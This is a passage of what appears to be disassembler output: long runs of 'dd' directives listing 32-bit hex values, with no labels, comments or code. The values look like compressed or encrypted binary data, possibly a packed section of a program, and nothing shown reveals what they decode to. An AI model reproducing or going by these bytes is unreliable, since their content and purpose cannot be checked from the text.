		dd 0BBE88DB0h, 3B185172h, 72305653h, 6DC80098h,	2765A2DDh
		dd 8CC92D5h, 942164h, 0D753C883h, 521F32D8h, 492A18C1h
		dd 7CC8E848h, 0CB5800A7h, 830C122Eh, 1B039F4Ch,	856959E3h
		dd 45310016h, 0A91C38DBh, 3A0570D8h, 0B651B819h, 0C89B4420h
		dd 4ADD236Eh, 99006711h, 0D8A8C882h, 0B3397E78h, 58DC00A5h
		dd 0A692C6D1h, 585D6174h, 41085B3Dh, 0E4FEEF84h, 6000705h
		dd 0D4695593h, 60D15ECBh, 9256200Bh, 6161A8AEh,	0B7A63438h
		dd 0C0C9A4F0h, 6D695641h, 921E9813h, 8A4C7657h,	0C0010867h
		dd 13754B21h, 0FF01CE7Bh, 0AE1219B2h, 89955E84h, 163DC850h
		dd 0E21FFD3Bh, 0D15B5886h, 0BC38C33Eh, 9678009Eh, 83BF1FBEh
		dd 2A1E90C7h, 9C1131h, 0D7C66CFCh, 883D5DE7h, 7D001AECh
		dd 0FBDD1273h, 252F66h,	5F6DBC53h, 5789C1E0h, 0F4B861CAh
		dd 0B971DCh, 0D4E090DCh, 141A4330h, 2420C4Ch, 72D6ED56h
		dd 45A8815Ah, 984234C7h, 136C30A7h, 4F929911h, 44877D88h
		dd 0D001374h, 7435FF8Fh, 0A38EC39h, 66D88E10h, 1E7B0C9Ch
		dd 48CA558h, 929F136Ah,	2074625Fh, 4C13724Ah, 0F03A0307h
		dd 0B4801AEDh, 7E9D14ECh, 8CAB0071h, 891CE12Ch,	68DC5F58h
		dd 0D05195h, 86942E3Dh,	1BD01514h, 5905E85Eh, 96693807h
		dd 9FB0CC43h, 9158F265h, 1842D1C8h, 0DE6D0939h,	48106992h
		dd 76308EEFh, 45C51063h, 3A9A1532h, 0F200C85Eh,	91E73C27h
		dd 0E00D71Dh, 0EC46935Bh, 50DEDBDCh, 65DFC1Bh, 0E5D55F42h
		dd 900CB022h, 79683CCAh, 0A871167Eh, 4D11001Fh,	0BDDE062h
		dd 502CA900h, 8A1E841Ch, 143304F4h, 88883174h, 25F86958h
		dd 9A644092h, 0ED0964F8h, 8385100Fh, 9904031h, 0BE14B103h
		dd 72419A01h, 0D99A205h, 21802ED1h, 0CB14A966h,	0F388F64h
		dd 3463830Ch, 90B7EC6Dh, 1E3DE519h, 0D19052h, 0DB442F20h
		dd 0EB06703Fh, 2DC2FBDAh, 184170E8h, 88127B89h,	1C08C10Dh
		dd 0A0FDAh, 0D3E0F4F9h,	9E149297h, 21F07214h, 33D7008Dh
		dd 55A0B9ACh, 0FC9014E4h, 68489610h, 0C1F0B01h,	225753A5h
		dd 48C729Ch, 0DD68C89Dh, 216A629Ah, 0DCC88493h,	0BBEEF336h
		dd 79C0C3B0h, 0D1C440A0h, 0D7E00014h, 56712408h, 0F000FD87h
		dd 0B2E34336h, 7EFBDB4Eh, 8CE8DE02h, 5289D31Ch,	9FAB3F00h
		dd 1AD6EF2Ch, 3E149064h, 0C8914D5h, 0F41FF8A7h,	0B7807191h
		dd 0B5070853h, 104C1B01h, 6CFC18Bh, 95C2EC50h, 61B724CAh
		dd 6BD3087Ch, 0AADEED03h, 6888005Eh, 5763F8B2h,	0C260DC7h
		dd 0DB403C9Bh, 0C00346D3h, 1378AAD0h, 8E1490B6h, 0B80CF4h
		dd 0C48AB3B5h, 305E02FDh, 1C385A17h, 0F9D47AD4h, 17223B0h
		dd 0EEACE042h, 885D184Dh, 0E03FBA97h, 271800CDh, 84CEF011h
		dd 2169603Ch, 0D97D0468h, 0DAC94500h, 74CA4B0Eh, 8140698h
		dd 29533D0Fh, 1CC9ED04h, 80C23F87h, 0A94469DAh,	13086E18h
		dd 71BF929Bh, 0DF13EC46h, 9F8F6D01h, 5DB6DEEEh,	0D8E49840h
		dd 0A47A50C7h, 0CE28141Fh, 0BA2AEC6Ch, 0CD9831A8h, 6890A280h
		dd 0A4583D5Dh, 8688C804h, 46C0A841h, 14A80184h,	0DA99A47h
		dd 6189280Ch, 3F367920h, 0A59FB487h, 728E42EFh,	944A4496h
		dd 1AD22460h, 99991C80h, 462C2890h, 0C80B7EB4h,	1CBADD6Ch
		dd 809700D0h, 0E88431C8h, 4A098C32h, 8816CFEAh,	0AB40A050h
		dd 1B39CB98h, 0F86D26D6h, 80D023h, 9A4314ACh, 44867249h
		dd 0A407652Ah, 0ED5DFC14h, 0B7F94FF0h, 0EC3C01D6h, 6AF6391Fh
		dd 22588276h, 8B03CFF1h, 304408A4h, 0FB7CB301h,	0F0A613A2h
		dd 18ED7434h, 9AF41FC7h, 605A9888h, 63880ECFh, 10120079h
		dd 55F5CAABh, 0C8190B50h, 86E86B2Ch, 141AAA18h,	24E09A41h
		dd 634F2B74h, 984A1420h, 0EF029E6Fh, 628D545h, 9DA4E241h
		dd 8001114Ch, 6A0B92BDh, 0C9900583h, 60B951BBh,	6BC89EF0h
		dd 1C92DD26h, 0C881D873h, 15DE0EE5h, 90803D5Bh,	0CF867440h
		dd 96DC0C45h, 0F98E3ED8h, 0E339AE80h, 194842BAh, 0CF8DBF0Dh
		dd 26EC2912h, 0C154C0EBh, 4435828Bh, 0D918D501h, 56D37D19h
		dd 0A0D091C2h, 9C13C419h, 74779229h, 13714F40h,	9D040288h
		dd 990CAD3Dh, 0EEB26080h, 5B486686h, 0E11C1810h, 60CE5219h
		dd 8D3C4111h, 0EA050577h, 4131279Ah, 6E8B081h, 0A2AB218Fh
		dd 0A9F485h, 14F021C8h,	0CFEA1C3Dh, 1BD7CE00h, 5C3267C6h
		dd 0FBE1127Ah, 0B6100909h, 74E42C45h, 0A71ABE60h, 86FF5C25h
		dd 46483904h, 136B02A2h, 0E767929Eh, 734900B8h,	0C8BA8413h
		dd 0B4C9AB00h, 318E16E8h, 349232h, 0E4FAE76h, 82DD3CEAh
		dd 0A3830503h, 0D0AD68C9h, 32897D14h, 98C869D7h, 7724E040h
		dd 1668E10h, 439D880Eh,	0EB754540h, 0DCA71F86h,	0B617DC4h
		dd 0DFCA3046h, 0B83EA41Fh, 989E90C2h, 0B448600Ah, 978D0FFCh
		dd 1C2237D2h, 18C70BD9h, 2A605BE4h, 7A3C8A19h, 0FBF7007Dh
		dd 9AB9F6BEh, 139F3690h, 0D82580F1h, 91589D6Ah,	5209466h
		dd 8898C7F9h, 1F58E3C6h, 0A252AD5h, 0A98071D3h,	1907D1E8h
		dd 58AF5AF8h, 7105F5DCh, 0D0D6FB55h, 0B843AA98h, 6779F091h
		dd 0E9DCF019h, 8F442004h, 9482D24Fh, 58822950h,	180C761Eh
		dd 0A80886Eh, 6C98AE14h, 0FEAF1294h, 6C2A5864h,	0B0058C76h
		dd 63E10265h, 5AB69840h, 0C16484A6h, 52E3DB60h,	28E9B137h
		dd 69000A83h, 6C923191h, 80483B5Ch, 8314F82Ch, 0EA7A63h
		dd 0B18A1F8Ch, 0DC68AC1Bh, 0EBDACA06h, 0A1501E56h, 742C1370h
		dd 0A0035520h, 0A60C5734h, 4515379h, 9E306BA2h,	0F25F4C1Eh
		dd 0F718103Dh, 22B678D6h, 2F19891h, 4D00DE18h, 168C2182h
		dd 8B62B98h, 5AB49E10h,	0EC3DB02h, 94A928h, 7E9C3658h
		dd 10A091D3h, 0C071C867h, 0EEABE047h, 4122B546h, 0E0BF9400h
		dd 122C1C02h, 196F603Ah, 0C7C92BFAh, 670117FCh,	940C87ECh
		dd 48219EC5h, 64A22863h, 4C880730h, 5822E4D0h, 1BD6B409h
		dd 998C94EDh, 608473E4h, 0E6A3CDAh, 2E30AB81h, 0A2BA87A0h
		dd 0B7038E33h, 419803D7h, 0F019DB1Ch, 0A274209Eh, 791051ACh
		dd 8EEC1964h, 8048C428h, 30BF225Fh, 694CC89Ch, 222442C3h
		dd 8790006Dh, 0C0716C8h, 9304181Ch, 6E9EFEECh, 24E020A0h
		dd 1F846F2Bh, 0E4BA1C67h, 377DE460h, 0C89FC0F8h, 0AA46DD6Ah
		dd 951C6822h, 0CE40C886h, 43C7A9C3h, 0AE9012E4h, 0DB2080E8h
		dd 2A40EEEBh, 89EC0E8Ah, 32F2B96Eh, 73190834h, 0E0084118h
		dd 0C445EEADh, 0B996405Ch, 12FF9E0h, 9B610590h,	32DC1F3Ah
		dd 86650E48h, 420F90BAh, 0AE0566B2h, 90884205h,	140A0DB3h
		dd 6860A3E4h, 92269D13h, 4870B46Fh, 81130070h, 0AC632722h
		dd 0DC0885D4h, 235E2DBh, 479CAE72h, 808E8489h, 17492EE8h
		dd 807E117Ch, 93A10F7h
		dd 42CB0183h, 3BF47271h, 80C45060h, 3F00ED4Eh, 4275E88Bh
		dd 1E3C82F3h, 3973B22h,	0A968D0F1h, 7743D9C0h, 8AB0F8C0h
		dd 3193B6DBh, 0FAA06BAAh, 483B0732h, 2C5130h, 0CA91C308h
		dd 0B2EBAD0Bh, 0A5DD8D0Ah, 0C56968DAh, 600164F4h, 1C31D12Dh
		dd 0A592AE43h, 5E038AAh, 8C632937h, 0E0880684h,	0C63251E2h
		dd 98A46844h, 0ED3000FDh, 0C288B2FAh, 864F6954h, 0A4935033h
		dd 0B2A9B704h, 322BF290h, 0E88A80D5h, 25C59883h, 50A28611h
		dd 0BC5A56F3h, 0AB028546h, 0B19A4014h, 60102E31h, 750314A3h
		dd 0C81232E1h, 11F590F6h, 4FB52E33h, 6802DC58h,	2E23E6Dh
		dd 7B1640DFh, 28EAB0B8h, 2AC6F74h, 0AEAA513Bh, 0B846563Ch
		dd 43027546h, 95EEAFE0h, 90013494h, 0DBE7E0BBh,	36EC1185h
		dd 0E22B028Eh, 0F7D98A65h, 7D70B5C0h, 184AD37Ch, 7ED07Ah
		dd 0B787BB15h, 0AD3AE290h, 0FB1A7924h, 6BE65D07h, 0F9FFC780h
		dd 0F035005Ah, 222595B1h, 0D6F2621Ch, 64286A00h, 55077C90h
		dd 11310768h, 0CE66C577h, 0B109EC00h, 49FD85C0h, 80040B84h
		dd 76C54A0Eh, 519E0302h, 1E43CF13h, 8E722005h, 0B4016BECh
		dd 232FBD3h, 61098042h,	700C9870h, 0E040048Ch, 62BDEEAAh
		dd 0B895205Eh, 4E0175E0h, 0ED3E4D57h, 86CE2F6h,	7608B28h
		dd 4EF9FEB4h, 1C213DBh,	27CF780Bh, 0E4446552h, 282E605Eh
		dd 6BC70291h, 78D28EEDh, 69159868h, 881B922Ah, 38EC704Ch
		dd 94240A6h, 7BA790A0h,	9656B401h, 7E84411Ah, 63571031h
		dd 48B86186h, 2639FEh, 1F4AE8Eh, 0CF1938D9h, 586B4005h
		dd 8B81651Ch, 0A880E921h, 0AC33DBE1h, 1C005322h, 5A99AAF3h
		dd 0B15E08AEh, 60CCF39Ch, 54CEE13Ch, 77A0F875h,	4310749h
		dd 11504882h, 0D8FC9F6Eh, 0BF00855Eh, 8E391D81h, 6DB6F21h
		dd 109E5A16h, 0E13A806Dh, 29D193D3h, 7B22A41Eh,	0F496007Bh
		dd 9084E2BBh, 8112AEEAh, 4909A0Ch, 0C079C9B2h, 5FF86381h
		dd 73005C80h, 0F7A49FBAh, 8D07B0h, 405A5499h, 0F9B6B543h
		dd 36D13C99h, 6205C618h, 1DAAFB55h, 0A68EB400h,	3035273Ch
		dd 7C40D519h, 0A9589608h, 0BEF1094h, 1EE1B001h,	0F1B9B778h
		dd 0A6C0F2CDh, 1C173AD8h, 0D080A8A9h, 9486C355h, 539012C0h
		dd 106FF0h, 72E96CECh, 0C33031C7h, 3BFDFBC1h, 701EB691h
		dd 8C5B5C61h, 36D6A470h, 0EEAB31BDh, 7502C088h,	608C2180h
		dd 7C90ED80h, 0E8385A5Ch, 34EE8C5Ah, 9508D503h,	0A855CCADh
		dd 0D07B86EFh, 34E8C869h, 0E624018Ch, 8E88B326h, 3C642574h
		dd 55C810ECh, 50D81C0Ch, 0FE120D89h, 0CC0F5C6Ah, 0E01F8BE5h
		dd 170C913Ch, 0D0CE2794h, 0EB873F50h, 71B90200h, 120C29DBh
		dd 473A0080h, 0A9B1A26Bh, 6802A073h, 0E7AA695Ah, 0EC94E0A5h
		dd 8844033Bh, 0B545308Bh, 69844FC5h, 3BB49156h,	765C2465h
		dd 585F1200h, 2DFE961Dh, 82DE3B88h, 4D5BA600h, 0AAB639BCh
		dd 56DB6C03h, 0C5DA20Ch, 0FD25F39h, 6A4EBAA9h, 0B1B23C46h
		dd 0A0554428h, 0B03C1096h, 99A8C087h, 807848DAh, 0F09A4102h
		dd 80807F03h, 79CED639h, 3DF9589Ah, 78CF18B0h, 762C69h
		dd 21EB8E1Bh, 6617C7EAh, 0CD773C03h, 3F287479h,	8685CB4Eh
		dd 3B1DB182h, 3723E8h, 8625CCE9h, 0D81A9ABCh, 41880177h
		dd 711030A0h, 0E8A86A3Dh, 5E003BAAh, 0D50768F7h, 12B34D80h
		dd 49CADCAh, 3244C008h,	57D91037h, 0A6CB908Bh, 25A0BA2Ch
		dd 0D8974F97h, 49805F11h, 8DE27508h, 0BA168401h, 6C6E5172h
		dd 8A0D4C30h, 0AE2ADA80h, 0D100DE18h, 0A8C12827h, 0C033323Bh
		dd 0CA35C7D9h, 0C981A8Ch, 0EE147400h, 0E5168E01h, 0A2491C7Bh
		dd 42408059h, 0E16552D5h, 7734FF03h, 0C53B88CCh, 38DB9412h
		dd 90933987h, 4AD3DD50h, 4407E4Ch, 70888E68h, 25EACCC8h
		dd 581D266Fh, 87800711h, 0ECC0BCA8h, 5F45D401h,	25CF1CF9h
		dd 94805C6Ch, 6F57927Bh, 0ABA45C00h, 0CBD89D1Fh, 746CA17Fh
		dd 0E009BC18h, 659DEEAEh, 0B4918370h, 5EF869E0h, 721E4C71h
		dd 2FFF7AA3h, 922C307Ch, 79A500FCh, 0EC6E2E12h,	0BF165C5Ah
		dd 0CC048D8Bh, 0C4364F3h, 0A8A4C3A6h, 8C6DEC64h, 0F2AF4E00h
		dd 0E57F21C4h, 5F3A302Ch, 6F496321h, 6B0091E4h,	0F3AB64AFh
		dd 2E683h, 9D89F658h, 5D11829h,	85C65F06h, 0E24D9h, 1E68FC56h
		dd 66830DE3h, 81CA8B0Fh, 8E27E034h, 0C525712h, 26418589h
		dd 0FF195A30h, 6A3FFDB5h, 70E853C0h, 2002C303h,	8990C35Bh
		dd 419245Ch, 16084481h,	53432180h, 1AB5AAC3h, 0D5BD0B0Ch
		dd 0C8D4815h, 0D45CA185h, 398C5255h, 8911C35Ah,	81158854h
		dd 57C35242h, 1DCBF41Ch, 782F9F06h, 464AD0FFh, 0C35E1C56h
		dd 0C4748988h, 5646411Ah, 0A9CDE0C3h, 6F44030h,	0D9BD8B67h
		dd 8480A609h, 0F8027A5h, 3906608Dh, 0D6D9D2Bh, 398825DDh
		dd 0B42311h, 0D8DE686Ch, 0B3A3C422h, 0F80481E1h, 0E20397A5h
		dd 0C1950116h, 662C0512h, 6BAC7B9h, 590699B5h, 0EE99514h
		dd 384A8697h, 7E8300Ch,	0A14F987h, 62D6CA01h, 59FB8B42h
		dd 0DEE98343h, 10760023h, 881128FEh, 463137F1h,	0F218D40Ch
		dd 983ABD44h, 381B23h, 0DEA6F8Bh, 730BBF59h, 6AC8120Fh
		dd 230F3A04h, 76A30019h, 0AD938AB6h, 8EC8B66h, 951344EBh
		dd 69BAC900h, 30A3DD54h, 0AD350031h, 0A7A9168h,	0B601D970h
		dd 816660FBh, 0FF44DC1h, 0F3DDC83h, 8E3F5B61h, 0B6D4DD72h
		dd 5E358812h, 0B62D47Ah, 0E82A1505h, 1C1C1C04h,	51B60001h
		dd 850F5650h, 8A190260h, 0CB8B5AFEh, 304BACFh, 1C1E8647h
		dd 1B89CB34h, 470F8608h, 0A4528028h, 9DADCDh, 57C240FEh
		dd 50313ED5h, 5A1C0FBAh, 0E85B9C58h, 0A9CF50ABh, 0ED8D2A89h
		dd 95FF3B8Ah, 810C1030h, 0A0F44D9h, 58E9229Ah, 3FC96369h
		dd 153AE148h, 9F3B3A80h, 8E64B6C8h, 85EE2F50h, 3002449h
		dd 0CDD029B9h, 468650Ah, 5DDF6155h, 6C89C8C3h, 4518448Ch
		dd 78075548h, 29D9CD1Ch, 1949BD46h, 1568709Ch, 0B416C5CEh
		dd 70C40E67h, 23DD9D29h, 0F9024C2h, 0A3B89282h,	0A050E682h
		dd 3BE4E728h, 0BB809059h, 7B8753F3h, 0B566A5Fh,	0A537B053h
		dd 30D9F86Fh, 7D1B0CE8h, 1400708Fh, 8010D8F3h, 0F5D21EC5h
		dd 8802F520h, 597ED18Bh, 4D81D724h, 9D68F11Ch, 7870F26h
		dd 9DB58940h, 50508127h, 96C72930h, 0A0187D1Eh,	8EF69DC7h
		dd 0B6688A7h, 95EC0023h, 3E2D8D5Fh, 0CF0F6D75h,	42529E79h
		dd 6089595Bh, 0A1FE8B18h, 0E73121FBh, 17B29723h, 6B02D30h
		dd 0B58D370Dh, 0E691C4FBh, 4D1817D9h, 716DEF01h, 1219BD89h
		dd 99A6F7B7h, 0C381A920h, 33F7948Dh, 353B45h, 935A2C8Fh
		dd 61D3F37Dh, 0B529E11Ch, 6F46C2C5h, 0DD8055C7h, 8A688069h
		dd 90B58BF7h, 445C875Bh, 10E66015h, 8CBF1466h, 55C0C1CEh
		dd 629E3759h, 0EBE63A00h, 9CE747Fh, 0B80D548Dh,	85C71B5Bh
		dd 37707D1Ch, 7830090h,	15DAF201h, 207E8016h, 0A8841E84h
		dd 0CE8B4502h, 6D068B40h, 4FAB160h, 8A20468Dh, 58C887F1h
		dd 4A9D0CB2h, 0ED44608Fh, 0CE98014h, 9EF36A8h, 2240A531h
		dd 80010F25h, 85788638h, 9002FFF0h, 0F1084581h,	0A5E3389h
		dd 2824E9CEh, 0E4AEBF02h, 0E0074D48h, 0F949857Ch, 0F85C80CCh
		dd 5021D98Eh, 48591851h, 4C296BC3h, 1C1128h, 46C35141h
		dd 0A2C92Dh, 0F3ACBDD3h, 0A19D8BF0h, 19C21759h,	2F6CD7BFh
		dd 971A5802h, 8914118Ah, 75AD87E6h, 0DA162EDAh,	6C54004h
		dd 68CD3B0Ah
		dd 0AD6A15A7h, 61576E64h, 89C8C35Fh, 0C073B17Ch, 0BDC35747h
		dd 763E3C02h, 0C040D4DBh, 812715EFh, 0AA28F983h, 7B6C1E69h
		dd 402DA03Bh, 12B0502Bh, 1D0DE930h, 7B7594h, 0C95CA2C8h
		dd 686906B3h, 2429CD2Ch, 80FEE914h, 583948F1h, 90A416B7h
		dd 0BD31152Fh, 28DA4D50h, 6F3F8503h, 8D2332C6h,	76240A89h
		dd 46740C58h, 0AFF4001Dh, 0EE5CB9D5h, 0E89C3BDAh, 1999172h
		dd 0A0C4430h, 0F7682072h, 59CF0212h, 9D0F4601h,	0E4D36090h
		dd 61DC5989h, 65F6050h,	0B8FD13BFh, 5F90012Eh, 1194674h
		dd 76EA3EC8h, 5681962Fh, 19853360h, 29F0841Fh, 3792818Dh
		dd 14C8E161h, 97098E54h, 12518BD3h, 3EAB889Fh, 0BD01E30h
		dd 60C290C0h, 0EA80175Fh, 0AAC861D2h, 0C358C250h, 8E44C484h
		dd 504003AEh, 8F1FBFC3h, 140B139h, 237E2E14h, 0CCA1001Ch
		dd 8502F5AAh, 0F787BF03h, 0C415BD31h, 2F4EE906h, 614A3EB2h
		dd 0D81FCD6Eh, 1CC64D86h, 0E30B76AFh, 0E92EA006h, 24727352h
		dd 0BEFD4Fh, 9AF68FCh, 8B25AC21h, 51AA00F8h, 553DF76h
		dd 0F5FCD80h, 0E93C888Ch, 0FE003A91h, 0C2EB6B18h, 0D919996Ah
		dd 33F181Ch, 3ACC9162h,	0BEB2FAA0h, 0C69C260h, 5263FF81h
		dd 859D0B06h, 954B190Eh, 2AB52342h, 53E8988Bh, 0A2CA2481h
		dd 5B080B2Ah, 90DFA504h, 31D6B3D0h, 32818512h, 0F22C03D1h
		dd 19EC9A2Ch, 5F83028Ch, 86FD9ABh, 0AA436CBh, 0D5609490h
		dd 24ECF534h, 1F6B5052h, 7460E4FAh, 0D5001B46h,	72601325h
		dd 0B94C55F6h, 9D2CC05Eh, 0ADCCD2h, 21E70619h, 4C7B690Bh
		dd 0F1E9E4C4h, 8821CB24h, 0A643C11Ah, 88C2D07Bh, 10B4484Ch
		dd 500B1BA1h, 0DB90E860h, 0CD494E8Bh, 0F5583EB2h, 5B0B7D0Fh
		dd 61C8A753h, 38AEC31Ah, 0E25904DCh, 0C036A2EAh, 9FAAF271h
		dd 9E40E958h, 607AA94Fh, 94C99727h, 8E680FD4h, 0CC40516Bh
		dd 1E95E5CDh, 171D2248h, 0FC7B2441h, 7F09B338h,	0A668E973h
		dd 8A00266Eh, 359F5E63h, 2DBFABh, 59481168h, 16A136ECh
		dd 0C08B510Bh, 689390E9h, 122E0E0h, 0C90A0D55h,	60413E61h
		dd 1620715Ch, 97531D1h,	10121D12h, 0A0501374h, 4AB8C0A8h
		dd 8DF509D0h, 0D3A03B02h, 5B998D43h, 111C5858h,	71A1882h
		dd 11988C9Fh, 25800344h, 0CA1B54E3h, 8C75D2F0h,	80C1C8B8h
		dd 1CB1BD23h, 50F90424h, 4A0FFA59h, 8DE3208Eh, 0E9831555h
		dd 7F20FFB3h, 380590FBh, 874D08C2h, 0DB4891BCh,	8551043h
		dd 8738E6Ah, 243CF23Fh,	0A03CC6D6h, 75E93022h, 8C666041h
		dd 4A8D817h, 89350B08h,	15E6016Ah, 8C6FA69Ch, 0C01D4ED0h
		dd 0C1FE8B1Dh, 68620CEFh, 6820043Ch, 0F4570280h, 28739C0Dh
		dd 0E91A8035h, 0D86BD332h, 0DF0B681Ch, 46A9C530h, 0A3F8509h
		dd 120E1611h, 6ABF2369h, 6E4A7C6Dh, 0C3611200h,	6E016C1h
		dd 236B3A60h, 35950016h, 1BCDBFA9h, 0B1364228h,	17C42585h
		dd 0E3DDF60h, 0AC6DF048h, 38458619h, 1409FA88h,	0A1CD9D84h
		dd 1722739Eh, 0BC082087h, 3C97CB9Eh, 0A6801891h, 52496C0Ch
		dd 553AB0B8h, 71BE0C8Bh, 0B0FBEE4h, 0D0E8F6B7h,	0AA632B42h
		dd 20D98810h, 51B51878h, 0BDE80C01h, 0B84527D0h, 0E2198C16h
		dd 0F3726ECBh, 9E66D261h, 0BB84164Ah, 6D051109h, 6477C01Eh
		dd 3A039579h, 547C9AFFh, 5907CAE8h, 181AD911h, 0C99200F9h
		dd 0FCD22DD9h, 552D9D29h, 710DA423h, 11CE17D4h,	5DC41488h
		dd 0BF197FF6h, 820BF4D9h, 0DB589B3h, 0D537831Ch, 7FE6B417h
		dd 8B7926F0h, 0F6958D2Eh, 0ABD7E889h, 4EB77Dh, 73F92BE5h
		dd 9499D89h, 0B5147495h, 34593169h, 81B00D21h, 739E60E8h
		dd 0C25D6EB9h, 0E6815001h, 6BABB033h, 132032B9h, 14C44A85h
		dd 6DB9D860h, 2DDF4606h, 96E167E8h, 0DE0CDC6Ch,	96DAA4B1h
		dd 0C0F4AACDh, 4E3BE886h, 243A7A06h, 0FB19803Dh, 0A284D58h
		dd 1BA2A753h, 2781830h,	0E49FC798h, 35D9FFD3h, 8F680B01h
		dd 0B3E46DB5h, 2E15018Ch, 0E8B8C7EBh, 750320C5h, 0F25E2040h
		dd 80FDBAD3h, 0A41AF1E5h, 0AF1DE8DFh, 0E92061C6h, 2E138012h
		dd 3BF05AF3h, 0B657009Dh, 0A21D3FB9h, 42030EDFh, 0E89563D7h
		dd 0F890B8Fh, 0B7C6C9BFh, 0BD289F2h, 0ADA99248h, 6500F7B7h
		dd 31660EFBh, 0E8021493h, 95828053h, 0C5101B15h, 0C4CFA732h
		dd 6206601Ch, 8EFD0052h, 7841E7E6h, 0C95A8D2Bh,	98E82A0Eh
		dd 32B96677h, 1BD98990h, 16C4F5E7h, 0E7F71260h,	0C0EBE83Eh
		dd 56CA628Ah, 0BF001F91h, 98EF2CD0h, 4D92432h, 16467CFEh
		dd 47DF710Bh, 0CF061324h, 0C01988D8h, 0D1719CB9h, 77CBCA26h
		dd 26167508h, 4806110Eh, 121102Ah, 0B87DE81Ah, 1DD155D9h
		dd 0DC97F419h, 0D5C25E0Fh, 925A457Eh, 0C72CFBC7h, 0D6F9628Bh
		dd 0C49F09E5h, 0E8811811h, 30D9DF23h, 0BEDB9D69h, 910DAA5Dh
		dd 644E19FFh, 7C019C8h,	0EA386A99h, 29B0C6A9h, 0BD106519h
		dd 0B0243049h, 1E01919Ch, 0B609F5FCh, 564D8h, 0C4B9ADECh
		dd 11166131h, 9D75EE01h, 5670E121h, 25691FF4h, 0AA13BAC7h
		dd 0B6F8EEB8h, 0EF386876h, 3519004Bh, 9529C38Bh, 17689A7Dh
		dd 6F04E8C1h, 630900E6h, 0B798B927h, 572B5482h,	0F710052h
		dd 6C0EE197h, 82005BB3h, 18EBE9C9h, 4CF33CEh, 0F7662E6Fh
		dd 88488EE2h, 3B35C017h, 2B299DE0h, 157121D8h, 9B385F18h
		dd 5E25F452h, 1D54493h,	0D7486F99h, 604FD4C9h, 5F7153F6h
		dd 0E951500Ch, 0F2270Eh, 5272C4E4h, 0F537B66Dh,	4CAA0D0Eh
		dd 935FA45Bh, 0CBA9CCh,	0B56AB4D3h, 0B97DD1DAh,	0A6D0740Eh
		dd 0ABCC67BAh, 95FF82E0h, 3F264885h, 13129184h,	0E5BD7D06h
		dd 4909B00Fh, 0F1720CDh, 8C486088h, 1A5D8926h, 5E423FCFh
		dd 0D617E820h, 2E6601F5h, 0CC7C72B6h, 0D54C88B7h, 0B5030B0Ah
		dd 56572C48h, 5EF78B0Dh, 0B9F9515Fh, 5969F978h,	3AB9B237h
		dd 504FD15h, 9B21D710h,	14AE8787h, 3264776Dh, 0B68E1A67h
		dd 0EC01588h, 0B1860FE4h, 204C26BEh, 40BABE11h,	0E277CE94h
		dd 0CACFE800h, 2EB20379h, 96AC0B0Ah, 0BDA43D84h, 14AD101Fh
		dd 88A9F662h, 0C7809E0Ch, 0F5998FFCh, 1898AC9Bh, 193AE5BFh
		dd 0F146B11Bh, 517D1815h, 6A4E8153h, 0EFC41488h, 311992C1h
		dd 0EE4BD85Dh, 3EC01D88h, 29BFACBh, 0BCD1EBB0h,	6429D3Dh
		dd 0EACE84DAh, 0AA8ED281h, 31C117C8h, 40F692E2h, 802A5904h
		dd 0D02E8060h, 0DE0A2C7Ah, 0A4218561h, 90181DD1h, 38009670h
		dd 303A3C59h, 5860038Eh, 0C8D35123h, 0F20516A3h, 611E094Bh
		dd 85299A43h, 750BE5F9h, 37C2A951h, 0C7848594h,	7A1FC04Bh
		dd 0F2498BFBh, 3FE2CADh, 0D71B0D0Ah, 0FA8F0F62h, 0A7535D07h
		dd 0DA265F89h, 0F5B62E2Dh, 6D1000DCh, 28AFD17Ch, 4A257DA8h
		dd 0B5E988F1h, 1A467Ch,	7FA7B398h, 58E01BD0h, 0A8741E9h
		dd 0E8A1A1C5h, 1CDDAC84h, 9A0B5509h, 91209F66h,	0CD6B8216h
		dd 0B4661Ah, 7C2357A0h,	0D9B0198Fh, 0FDC7600h, 0A22C7748h
		dd 0ED313498h, 87B421E6h, 5EB8141Fh, 45F0E480h,	0D0003A5Ch
		dd 0F6F1994Ch, 0CCBC4Ah, 5951A077h, 0E1819A6Bh,	3D0134EAh
		dd 0EE8A5F41h, 43ACDBE9h, 49951224h, 696D6AC0h,	0DA9009E0h
		dd 0BD33142Eh, 0CE97F975h, 0C11688D4h, 0A3E7EDD2h, 778F140h
		dd 887702C4h, 60D943E7h, 1DB55B40h, 0E8816680h,	160C5FAEh
		dd 2C46F41h, 33D997F7h,	7585C040h, 0B95DC40Fh, 0E60684ACh
		dd 7267E032h, 0F47A0243h, 1EFF9E2Ah, 20813660h,	41D50782h
		dd 0C58A0AD8h, 273D65Dh
		dd 0BF54DD7Eh, 1CB61EFDh, 84CBDA7h, 3442102Dh, 202135A2h
		dd 4C8AD516h, 0AE6A4Eh,	3905BF13h, 0A01C1973h, 9A6AE1FAh
		dd 4CE771Eh, 725290F7h,	4D0E8164h, 0DC9F6C1Eh, 3DA0BA5h
		dd 0FD89FFA5h, 5EAE9882h, 0C4C3B45h, 6A158112h,	192373h
		dd 0EEBABC18h, 90958488h, 0D92695Fh, 5F343659h,	82582958h
		dd 0DA19F5BDh, 0C7F137Fh, 88A38ED5h, 3E66C015h,	20ADC083h
		dd 0B3042DCAh, 33A29056h, 49912900h, 8E97B60Dh,	89F0F81Dh
		dd 837EEB42h, 5C6650h, 81C67561h, 73519A52h, 0AC27B101h
		dd 568778FDh, 642E97C4h, 4004FC55h, 3D75BB66h, 2690595Fh
		dd 0D900A5BCh, 0CA01B051h, 0CEF721Bh, 4DF78098h, 95258950h
		dd 10300DE1h, 0AAF08766h, 0DDB9E8BEh, 6033F900h, 0E266352h
		dd 1E45FAD5h, 0DACEC1E0h, 3108147Ch, 221599Dh, 0F0EF805Bh
		dd 1B392860h, 59BD8980h, 8D38FF6Dh, 0D481CF89h,	83E0E2CDh
		dd 4DFFE3C4h, 8BBC4FD1h, 7B1FBB01h, 922FB26Ah, 9E9DDE70h
		dd 20F4A86Bh, 10920E9h,	0F99E850Fh, 30250868h, 1D026A0Bh
		dd 801C119Fh, 50D0AE2Bh, 0DAB04D3h, 0BCF55E90h,	0DA8B015Bh
		dd 5360310Fh, 4EC254EEh, 27F74AFh, 615BBF44h, 5B494E5Eh
		dd 0CB9770EEh, 9A618D00h, 0E1B531CEh, 0C1A59524h, 9BA195F5h
		dd 9ABC0FEh, 77488BEh, 6EF5EE91h, 0E9D83C23h, 0CF0E2C36h
		dd 5C5DE033h, 0FE540D81h, 852B1660h, 0F6EC175h,	6D422F82h
		dd 736181B2h, 0EF497036h, 0D9D0309h, 0B1379017h, 0CCD44F72h
